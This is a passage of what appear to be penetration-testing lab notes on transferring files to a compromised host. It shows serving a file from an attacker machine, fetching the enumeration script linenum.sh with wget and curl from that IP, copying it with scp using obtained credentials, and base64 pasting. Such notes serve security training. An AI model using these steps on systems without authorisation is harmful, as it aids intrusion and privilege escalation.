wget or cURL to download the file on the remote host.Our Machine
python3 -m http.server 8000
Remote Machine
wget <http://10.10.14.1:8000/linenum.sh>
or
curl <http://10.10.14.1:8000/linenum.sh> -o linenum.sh
Granted we have obtained ssh user credentials on the remote host.
scp linenum.sh user@remotehost:/tmp/linenum.sh
user@remotehost's password: *********
linenum.sh
<aside> 💡
we specified the local file name after scp, and the remote directory will be saved to after the : .
</aside>
we can use a simple trick to base64 encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it.